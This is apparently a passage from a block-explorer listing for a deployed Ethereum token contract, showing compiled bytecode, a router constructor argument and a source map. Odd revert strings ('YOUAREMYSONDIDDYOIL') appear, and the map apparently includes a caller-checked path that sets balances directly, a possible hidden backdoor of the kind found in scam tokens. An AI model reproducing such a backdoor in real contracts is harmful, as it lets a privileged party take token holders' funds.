5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611b4d82611b0b565b611b578185611b15565b9350611b67818560208601611b25565b611b7081611b33565b840191505092915050565b5f6020820190508181035f830152611b938184611b43565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bc882611b9f565b9050919050565b611bd881611bbe565b8114611be2575f5ffd5b50565b5f81359050611bf381611bcf565b92915050565b5f819050919050565b611c0b81611bf9565b8114611c15575f5ffd5b50565b5f81359050611c2681611c02565b92915050565b5f5f60408385031215611c4257611c41611b9b565b5b5f611c4f85828601611be5565b9250506020611c6085828601611c18565b9150509250929050565b611c7381611bf9565b82525050565b5f602082019050611c8c5f830184611c6a565b92915050565b5f5f5f60608486031215611ca957611ca8611b9b565b5b5f611cb686828701611be5565b9350506020611cc786828701611be5565b9250506040611cd886828701611c18565b9150509250925092565b5f60ff82169050919050565b611cf781611ce2565b82525050565b5f602082019050611d105f830184611cee565b92915050565b5f60208284031215611d2b57611d2a611b9b565b5b5f611d3884828501611be5565b91505092915050565b611d4a81611bbe565b82525050565b5f602082019050611d635f830184611d41565b92915050565b5f5f60408385031215611d7f57611d7e611b9b565b5b5f611d8c85828601611be5565b9250506020611d9d85828601611be5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611deb57607f821691505b602082108103611dfe57611dfd611da7565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e5e602883611b15565b9150611e6982611e04565b604082019050919050565b5f6020820190508181035f830152611e8b81611e52565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ec982611bf9565b9150611ed483611bf9565b9250828203905081811115611eec57611eeb611e92565b5b92915050565b5f611efc82611bf9565b9150611f0783611bf9565b9250828201905080821115611f1f57611f1e611e92565b5b92915050565b5f8160601b9050919050565b5f611f3b82611f25565b9050919050565b5f611f4c82611f31565b9050919050565b611f64611f5f82611bbe565b611f42565b82525050565b5f611f758284611f53565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611fde602583611b15565b9150611fe982611f84565b604082019050919050565b5f6020820190508181035f83015261200b81611fd2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61206c602683611b15565b915061207782612012565b604082019050919050565b5f6020820190508181035f83015261209981612060565b9050919050565b7f37594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6120d4601483611b15565b91506120df826120a0565b602082019050919050565b5f6020820190508181035f830152612101816120c8565b9050919050565b7f38594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f61213c601483611b15565b915061214782612108565b602082019050919050565b5f6020820190508181035f83015261216981612130565b9050919050565b7f39594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6121a4601483611b15565b91506121af82612170565b602082019050919050565b5f6020820190508181035f8301526121d181612198565b9050919050565b7f30594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f61220c601483611b15565b9150612217826121d8565b602082019050919050565b5f6020820190508181035f83015261223981612200565b9050919050565b7f594f554152454d59534f4e44494444594f494c594f554152454d59534f4e44495f8201527f4444594f494c0000000000000000000000000000000000000000000000000000602082015250565b5f61229a602683611b15565b91506122a582612240565b604082019050919050565b5f6020820190508181035f8301526122c78161228e565b9050919050565b5f6122d882611bf9565b91506122e383611bf9565b92508282026122f181611bf9565b9150828204841483151761230857612307611e92565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61234682611bf9565b915061235183611bf9565b9250826123615761236061230f565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123a0602083611b15565b91506123ab8261236c565b602082019050919050565b5f6020820190508181035f8301526123cd81612394565b9050919050565b7f594f554152454d59534f4e44494444594f494c594f554152454d59534f4e44495f8201527f4444594f494c594f554152454d59534f4e44494444594f494c00000000000000602082015250565b5f61242e603983611b15565b9150612439826123d4565b604082019050919050565b5f6020820190508181035f83015261245b81612422565b9050919050565b5f8151905061247081611bcf565b92915050565b5f6020828403121561248b5761248a611b9b565b5b5f61249884828501612462565b91505092915050565b5f6040820190506124b45f830185611d41565b6124c16020830184611d41565b9392505050565b7f594f554152454d59534f4e44494444594f494c594f554152454d59534f4e44495f8201527f4444594f494c594f554152454d59534f4e44494444594f494c594f554152454d60208201527f59534f4e44494444594f494c0000000000000000000000000000000000000000604082015250565b5f612548604c83611b15565b9150612553826124c8565b606082019050919050565b5f6020820190508181035f8301526125758161253c565b9050919050565b7f34594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6125b0601483611b15565b91506125bb8261257c565b602082019050919050565b5f6020820190508181035f8301526125dd816125a4565b9050919050565b7f35594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f612618601483611b15565b9150612623826125e4565b602082019050919050565b5f6020820190508181035f8301526126458161260c565b9050919050565b7f36594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f612680601483611b15565b915061268b8261264c565b602082019050919050565b5f6020820190508181035f8301526126ad81612674565b9050919050565b7f31594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6126e8601483611b15565b91506126f3826126b4565b602082019050919050565b5f6020820190508181035f830152612715816126dc565b9050919050565b7f32594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f612750601483611b15565b915061275b8261271c565b602082019050919050565b5f6020820190508181035f83015261277d81612744565b9050919050565b7f33594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6127b8601483611b15565b91506127c382612784565b602082019050919050565b5f6020820190508181035f8301526127e5816127ac565b905091905056fea264697066735822122041b09365643739c53ca433b62caad1ecd97a27f91d8af675bba46430c91e585864736f6c634300081b0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

19994:2917:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20419:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14657:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15876:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20447:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15159:115;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16066:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15002:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16511:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18370:601;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22015:77;;;:::i;:::-;;20487:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15337:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12284:104;;;:::i;:::-;;12038:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14883:111;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20527:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16744:384;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15474:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15717:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12400:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20419:21;;;;;;;;;;;;;:::o;14657:107::-;14711:13;14744:12;14737:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14657:107;:::o;15876:176::-;15959:4;15976:46;15992:12;:10;:12::i;:::-;16006:7;16015:6;15976:15;:46::i;:::-;16040:4;16033:11;;15876:176;;;;:::o;20447:33::-;;;;:::o;15159:115::-;15220:7;15247:19;;15240:26;;15159:115;:::o;16066:434::-;16172:4;16189:41;16204:6;16212:9;16223:6;16189:14;:41::i;:::-;16243:24;16270:11;:19;16282:6;16270:19;;;;;;;;;;;;;;;:33;16290:12;:10;:12::i;:::-;16270:33;;;;;;;;;;;;;;;;16243:60;;16342:6;16322:16;:26;;16314:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;16404:64;16420:6;16428:12;:10;:12::i;:::-;16461:6;16442:16;:25;;;;:::i;:::-;16404:15;:64::i;:::-;16488:4;16481:11;;;16066:434;;;;;:::o;15002:92::-;15060:5;15085:1;15078:8;;15002:92;:::o;16511:222::-;16599:4;16616:87;16632:12;:10;:12::i;:::-;16646:7;16692:10;16655:11;:25;16667:12;:10;:12::i;:::-;16655:25;;;;;;;;;;;;;;;:34;16681:7;16655:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;16616:15;:87::i;:::-;16721:4;16714:11;;16511:222;;;;:::o;18370:601::-;18441:7;18461:17;18481:10;18461:30;;18502:17;18522:14;;;;;;;;;;;18502:34;;18549:20;18599:9;18582:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;18572:38;;;;;;18549:61;;18621:20;18671:9;18654:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;18644:38;;;;;;18621:61;;18703:17;18731:6;18723:15;;18703:35;;18759:12;18790;18774;:28;18759:43;;18827:7;18823:141;;;18858:34;18873:7;18882:9;18858:14;:34::i;:::-;18851:41;;;;;;;;;;18823:141;18932:20;18944:7;18932:11;:20::i;:::-;18925:27;;;;;;;;18370:601;;;;;:::o;22015:77::-;11996:10;:8;:10::i;:::-;22080:4:::1;22068:9;;:16;;;;;;;;;;;;;;;;;;22015:77::o:0;20487:33::-;;;;:::o;15337:127::-;15411:7;15438:9;:18;15448:7;15438:18;;;;;;;;;;;;;;;;15431:25;;15337:127;;;:::o;12284:104::-;11996:10;:8;:10::i;:::-;12349:31:::1;12377:1;12349:19;:31::i;:::-;12284:104::o:0;12038:87::-;12084:7;12111:6;;;;;;;;;;;12104:13;;12038:87;:::o;14883:111::-;14939:13;14972:14;14965:21;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14883:111;:::o;20527:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;16744:384::-;16837:4;16854:24;16881:11;:25;16893:12;:10;:12::i;:::-;16881:25;;;;;;;;;;;;;;;:34;16907:7;16881:34;;;;;;;;;;;;;;;;16854:61;;16954:15;16934:16;:35;;16926:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;17022:74;17038:12;:10;:12::i;:::-;17052:7;17080:15;17061:16;:34;;;;:::i;:::-;17022:15;:74::i;:::-;17116:4;17109:11;;;16744:384;;;;:::o;15474:180::-;15560:4;15577:47;15592:12;:10;:12::i;:::-;15606:9;15617:6;15577:14;:47::i;:::-;15642:4;15635:11;;15474:180;;;;:::o;15717:151::-;15806:7;15833:11;:18;15845:5;15833:18;;;;;;;;;;;;;;;:27;15852:7;15833:27;;;;;;;;;;;;;;;;15826:34;;15717:151;;;;:::o;12400:202::-;11996:10;:8;:10::i;:::-;12509:1:::1;12489:22;;:8;:22;;::::0;12481:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;12565:29;12585:8;12565:19;:29::i;:::-;12400:202:::0;:::o;249:98::-;302:7;329:10;322:17;;249:98;:::o;19326:323::-;19452:1;19435:19;;:5;:19;;;19427:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;19517:1;19498:21;;:7;:21;;;19490:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;19587:6;19557:11;:18;19569:5;19557:18;;;;;;;;;;;;;;;:27;19576:7;19557:27;;;;;;;;;;;;;;;:36;;;;19625:7;19609:32;;19618:5;19609:32;;;19634:6;19609:32;;;;;;:::i;:::-;;;;;;;;19326:323;;;:::o;21163:844::-;21316:1;21300:18;;:4;:18;;;21292:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;21376:1;21362:16;;:2;:16;;;21354:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;21417:41;21441:4;21447:2;21451:6;21417:23;:41::i;:::-;21485:1;21475:6;:11;21471:50;21503:7;21471:50;21538:11;:17;21550:4;21538:17;;;;;;;;;;;;;;;;;;;;;;;;;21537:18;:38;;;;;21560:11;:15;21572:2;21560:15;;;;;;;;;;;;;;;;;;;;;;;;;21559:16;21537:38;21533:416;;;21638:1;21599:35;21617:15;;;;;;;;;;;21599:9;:35::i;:::-;:40;21591:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;21711:13;;;;;;;;;;;21703:21;;:4;:21;;;:44;;;;21734:13;;;;;;;;;;;21728:19;;:2;:19;;;21703:44;21699:239;;;21768:13;21821:3;21794:23;;21785:6;:32;;;;:::i;:::-;21784:40;;;;:::i;:::-;21768:56;;21845:52;21873:4;21879:2;21883:6;21891:5;21845:27;:52::i;:::-;21916:7;;;21699:239;21533:416;21961:38;21982:4;21988:2;21992:6;21961:20;:38::i;:::-;21163:844;;;;:::o;18979:214::-;19056:7;19076:14;19101:9;19093:18;;19076:35;;19143:6;19122:9;:18;19132:7;19122:18;;;;;;;;;;;;;;;:27;;;;19167:9;:18;19177:7;19167:18;;;;;;;;;;;;;;;;19160:25;;;18979:214;;;;:::o;19201:113::-;19261:7;19288:9;:18;19298:7;19288:18;;;;;;;;;;;;;;;;19281:25;;19201:113;;;:::o;12140:129::-;12212:12;:10;:12::i;:::-;12201:23;;:7;:5;:7::i;:::-;:23;;;12193:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12140:129::o;12613:228::-;12688:16;12707:6;;;;;;;;;;;12688:25;;12733:8;12724:6;;:17;;;;;;;;;;;;;;;;;;12769:8;12752:14;;:25;;;;;;;;;;;;;;;;;;12824:8;12793:40;;12814:8;12793:40;;;;;;;;;;;;12677:164;12613:228;:::o;22100:808::-;22234:9;;;;;;;;;;;22229:672;;22265:11;:17;22277:4;22265:17;;;;;;;;;;;;;;;;;;;;;;;;;22264:18;:38;;;;;22287:11;:15;22299:2;22287:15;;;;;;;;;;;;;;;;;;;;;;;;;22286:16;22264:38;22260:630;;;22341:18;;22331:6;:28;;22323:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;20204:42;22446:21;;:13;;;;;;;;;;;:21;;;22442:176;;22525:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22507:52;;;22568:4;22575:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22507:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22491:13;;:107;;;;;;;;;;;;;;;;;;22442:176;22649:13;;;;;;;;;;;22643:19;;:2;:19;;;22639:74;22687:7;22639:74;22775:18;;22765:6;22749:13;22759:2;22749:9;:13::i;:::-;:22;;;;:::i;:::-;:44;;22741:133;;;;;;;;;;;;:::i;:::-;;;;;;;;;22260:630;22229:672;22100:808;;;;:::o;17658:699::-;17816:1;17798:20;;:6;:20;;;17790:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;17883:1;17862:23;;:9;:23;;;17854:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;17923:21;17947:9;:17;17957:6;17947:17;;;;;;;;;;;;;;;;17923:41;;18000:6;17983:13;:23;;17975:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;18105:6;18089:13;:22;18069:9;:17;18079:6;18069:17;;;;;;;;;;;;;;;:42;;;;18145:12;18135:22;;;;;:::i;:::-;;;18191:12;18168:19;;:35;;;;;;;:::i;:::-;;;;;;;;18238:6;18214:9;:20;18224:9;18214:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;14145:42;18262:36;;18271:6;18262:36;;;18285:12;18262:36;;;;;;:::i;:::-;;;;;;;;18331:9;18314:35;;18323:6;18314:35;;;18342:6;18314:35;;;;;;:::i;:::-;;;;;;;;17779:578;17658:699;;;;:::o;17142:501::-;17271:1;17253:20;;:6;:20;;;17245:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;17338:1;17317:23;;:9;:23;;;17309:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;17380:21;17404:9;:17;17414:6;17404:17;;;;;;;;;;;;;;;;17380:41;;17457:6;17440:13;:23;;17432:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;17535:6;17519:13;:22;;;;:::i;:::-;17499:9;:17;17509:6;17499:17;;;;;;;;;;;;;;;:42;;;;17576:6;17552:9;:20;17562:9;17552:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;17617:9;17600:35;;17609:6;17600:35;;;17628:6;17600:35;;;;;;:::i;:::-;;;;;;;;17234:409;17142:501;;;:::o;7:90:1:-;41:7;84:5;77:13;70:21;59:32;;7:90;;;:::o;103:109::-;184:21;199:5;184:21;:::i;:::-;179:3;172:34;103:109;;:::o;218:210::-;305:4;343:2;332:9;328:18;320:26;;356:65;418:1;407:9;403:17;394:6;356:65;:::i;:::-;218:210;;;;:::o;434:99::-;486:6;520:5;514:12;504:22;;434:99;;;:::o;539:169::-;623:11;657:6;652:3;645:19;697:4;692:3;688:14;673:29;;539:169;;;;:::o;714:139::-;803:6;798:3;793;787:23;844:1;835:6;830:3;826:16;819:27;714:139;;;:::o;859:102::-;900:6;951:2;947:7;942:2;935:5;931:14;927:28;917:38;;859:102;;;:::o;967:377::-;1055:3;1083:39;1116:5;1083:39;:::i;:::-;1138:71;1202:6;1197:3;1138:71;:::i;:::-;1131:78;;1218:65;1276:6;1271:3;1264:4;1257:5;1253:16;1218:65;:::i;:::-;1308:29;1330:6;1308:29;:::i;:::-;1303:3;1299:39;1292:46;;1059:285;967:377;;;;:::o;1350:313::-;1463:4;1501:2;1490:9;1486:18;1478:26;;1550:9;1544:4;1540:20;1536:1;1525:9;1521:17;1514:47;1578:78;1651:4;1642:6;1578:78;:::i;:::-;1570:86;;1350:313;;;;:::o;1750:117::-;1859:1;1856;1849:12;1996:126;2033:7;2073:42;2066:5;2062:54;2051:65;;1996:126;;;:::o;2128:96::-;2165:7;2194:24;2212:5;2194:24;:::i;:::-;2183:35;;2128:96;;;:::o;2230:122::-;2303:24;2321:5;2303:24;:::i;:::-;2296:5;2293:35;2283:63;;2342:1;2339;2332:12;2283:63;2230:122;:::o;2358:139::-;2404:5;2442:6;2429:20;2420:29;;2458:33;2485:5;2458:33;:::i;:::-;2358:139;;;;:::o;2503:77::-;2540:7;2569:5;2558:16;;2503:77;;;:::o;2586:122::-;2659:24;2677:5;2659:24;:::i;:::-;2652:5;2649:35;2639:63;;2698:1;2695;2688:12;2639:63;2586:122;:::o;2714:139::-;2760:5;2798:6;2785:20;2776:29;;2814:33;2841:5;2814:33;:::i;:::-;2714:139;;;;:::o;2859:474::-;2927:6;2935;2984:2;2972:9;2963:7;2959:23;2955:32;2952:119;;;2990:79;;:::i;:::-;2952:119;3110:1;3135:53;3180:7;3171:6;3160:9;3156:22;3135:53;:::i;:::-;3125:63;;3081:117;3237:2;3263:53;3308:7;3299:6;3288:9;3284:22;3263:53;:::i;:::-;3253:63;;3208:118;2859:474;;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:320;6143:6;6180:1;6174:4;6170:12;6160:22;;6227:1;6221:4;6217:12;6248:18;6238:81;;6304:4;6296:6;6292:17;6282:27;;6238:81;6366:2;6358:6;6355:14;6335:18;6332:38;6329:84;;6385:18;;:::i;:::-;6329:84;6150:269;6099:320;;;:::o;6425:227::-;6565:34;6561:1;6553:6;6549:14;6542:58;6634:10;6629:2;6621:6;6617:15;6610:35;6425:227;:::o;6658:366::-;6800:3;6821:67;6885:2;6880:3;6821:67;:::i;:::-;6814:74;;6897:93;6986:3;6897:93;:::i;:::-;7015:2;7010:3;7006:12;6999:19;;6658:366;;;:::o;7030:419::-;7196:4;7234:2;7223:9;7219:18;7211:26;;7283:9;7277:4;7273:20;7269:1;7258:9;7254:17;7247:47;7311:131;7437:4;7311:131;:::i;:::-;7303:139;;7030:419;;;:::o;7455:180::-;7503:77;7500:1;7493:88;7600:4;7597:1;7590:15;7624:4;7621:1;7614:15;7641:194;7681:4;7701:20;7719:1;7701:20;:::i;:::-;7696:25;;7735:20;7753:1;7735:20;:::i;:::-;7730:25;;7779:1;7776;7772:9;7764:17;;7803:1;7797:4;7794:11;7791:37;;;7808:18;;:::i;:::-;7791:37;7641:194;;;;:::o;7841:191::-;7881:3;7900:20;7918:1;7900:20;:::i;:::-;7895:25;;7934:20;7952:1;7934:20;:::i;:::-;7929:25;;7977:1;7974;7970:9;7963:16;;7998:3;7995:1;7992:10;7989:36;;;8005:18;;:::i;:::-;7989:36;7841:191;;;;:::o;8038:94::-;8071:8;8119:5;8115:2;8111:14;8090:35;;8038:94;;;:::o;8138:::-;8177:7;8206:20;8220:5;8206:20;:::i;:::-;8195:31;;8138:94;;;:::o;8238:100::-;8277:7;8306:26;8326:5;8306:26;:::i;:::-;8295:37;;8238:100;;;:::o;8344:157::-;8449:45;8469:24;8487:5;8469:24;:::i;:::-;8449:45;:::i;:::-;8444:3;8437:58;8344:157;;:::o;8507:256::-;8619:3;8634:75;8705:3;8696:6;8634:75;:::i;:::-;8734:2;8729:3;8725:12;8718:19;;8754:3;8747:10;;8507:256;;;;:::o;8769:224::-;8909:34;8905:1;8897:6;8893:14;8886:58;8978:7;8973:2;8965:6;8961:15;8954:32;8769:224;:::o;8999:366::-;9141:3;9162:67;9226:2;9221:3;9162:67;:::i;:::-;9155:74;;9238:93;9327:3;9238:93;:::i;:::-;9356:2;9351:3;9347:12;9340:19;;8999:366;;;:::o;9371:419::-;9537:4;9575:2;9564:9;9560:18;9552:26;;9624:9;9618:4;9614:20;9610:1;9599:9;9595:17;9588:47;9652:131;9778:4;9652:131;:::i;:::-;9644:139;;9371:419;;;:::o;9796:225::-;9936:34;9932:1;9924:6;9920:14;9913:58;10005:8;10000:2;9992:6;9988:15;9981:33;9796:225;:::o;10027:366::-;10169:3;10190:67;10254:2;10249:3;10190:67;:::i;:::-;10183:74;;10266:93;10355:3;10266:93;:::i;:::-;10384:2;10379:3;10375:12;10368:19;;10027:366;;;:::o;10399:419::-;10565:4;10603:2;10592:9;10588:18;10580:26;;10652:9;10646:4;10642:20;10638:1;10627:9;10623:17;10616:47;10680:131;10806:4;10680:131;:::i;:::-;10672:139;;10399:419;;;:::o;10824:170::-;10964:22;10960:1;10952:6;10948:14;10941:46;10824:170;:::o;11000:366::-;11142:3;11163:67;11227:2;11222:3;11163:67;:::i;:::-;11156:74;;11239:93;11328:3;11239:93;:::i;:::-;11357:2;11352:3;11348:12;11341:19;;11000:366;;;:::o;11372:419::-;11538:4;11576:2;11565:9;11561:18;11553:26;;11625:9;11619:4;11615:20;11611:1;11600:9;11596:17;11589:47;11653:131;11779:4;11653:131;:::i;:::-;11645:139;;11372:419;;;:::o;11797:170::-;11937:22;11933:1;11925:6;11921:14;11914:46;11797:170;:::o;11973:366::-;12115:3;12136:67;12200:2;12195:3;12136:67;:::i;:::-;12129:74;;12212:93;12301:3;12212:93;:::i;:::-;12330:2;12325:3;12321:12;12314:19;;11973:366;;;:::o;12345:419::-;12511:4;12549:2;12538:9;12534:18;12526:26;;12598:9;12592:4;12588:20;12584:1;12573:9;12569:17;12562:47;12626:131;12752:4;12626:131;:::i;:::-;12618:139;;12345:419;;;:::o;12770:170::-;12910:22;12906:1;12898:6;12894:14;12887:46;12770:170;:::o;12946:366::-;13088:3;13109:67;13173:2;13168:3;13109:67;:::i;:::-;13102:74;;13185:93;13274:3;13185:93;:::i;:::-;13303:2;13298:3;13294:12;13287:19;;12946:366;;;:::o;13318:419::-;13484:4;13522:2;13511:9;13507:18;13499:26;;13571:9;13565:4;13561:20;13557:1;13546:9;13542:17;13535:47;13599:131;13725:4;13599:131;:::i;:::-;13591:139;;13318:419;;;:::o;13743:170::-;13883:22;13879:1;13871:6;13867:14;13860:46;13743:170;:::o;13919:366::-;14061:3;14082:67;14146:2;14141:3;14082:67;:::i;:::-;14075:74;;14158:93;14247:3;14158:93;:::i;:::-;14276:2;14271:3;14267:12;14260:19;;13919:366;;;:::o;14291:419::-;14457:4;14495:2;14484:9;14480:18;14472:26;;14544:9;14538:4;14534:20;14530:1;14519:9;14515:17;14508:47;14572:131;14698:4;14572:131;:::i;:::-;14564:139;;14291:419;;;:::o;14716:225::-;14856:34;14852:1;14844:6;14840:14;14833:58;14925:8;14920:2;14912:6;14908:15;14901:33;14716:225;:::o;14947:366::-;15089:3;15110:67;15174:2;15169:3;15110:67;:::i;:::-;15103:74;;15186:93;15275:3;15186:93;:::i;:::-;15304:2;15299:3;15295:12;15288:19;;14947:366;;;:::o;15319:419::-;15485:4;15523:2;15512:9;15508:18;15500:26;;15572:9;15566:4;15562:20;15558:1;15547:9;15543:17;15536:47;15600:131;15726:4;15600:131;:::i;:::-;15592:139;;15319:419;;;:::o;15744:410::-;15784:7;15807:20;15825:1;15807:20;:::i;:::-;15802:25;;15841:20;15859:1;15841:20;:::i;:::-;15836:25;;15896:1;15893;15889:9;15918:30;15936:11;15918:30;:::i;:::-;15907:41;;16097:1;16088:7;16084:15;16081:1;16078:22;16058:1;16051:9;16031:83;16008:139;;16127:18;;:::i;:::-;16008:139;15792:362;15744:410;;;;:::o;16160:180::-;16208:77;16205:1;16198:88;16305:4;16302:1;16295:15;16329:4;16326:1;16319:15;16346:185;16386:1;16403:20;16421:1;16403:20;:::i;:::-;16398:25;;16437:20;16455:1;16437:20;:::i;:::-;16432:25;;16476:1;16466:35;;16481:18;;:::i;:::-;16466:35;16523:1;16520;16516:9;16511:14;;16346:185;;;;:::o;16537:182::-;16677:34;16673:1;16665:6;16661:14;16654:58;16537:182;:::o;16725:366::-;16867:3;16888:67;16952:2;16947:3;16888:67;:::i;:::-;16881:74;;16964:93;17053:3;16964:93;:::i;:::-;17082:2;17077:3;17073:12;17066:19;;16725:366;;;:::o;17097:419::-;17263:4;17301:2;17290:9;17286:18;17278:26;;17350:9;17344:4;17340:20;17336:1;17325:9;17321:17;17314:47;17378:131;17504:4;17378:131;:::i;:::-;17370:139;;17097:419;;;:::o;17522:244::-;17662:34;17658:1;17650:6;17646:14;17639:58;17731:27;17726:2;17718: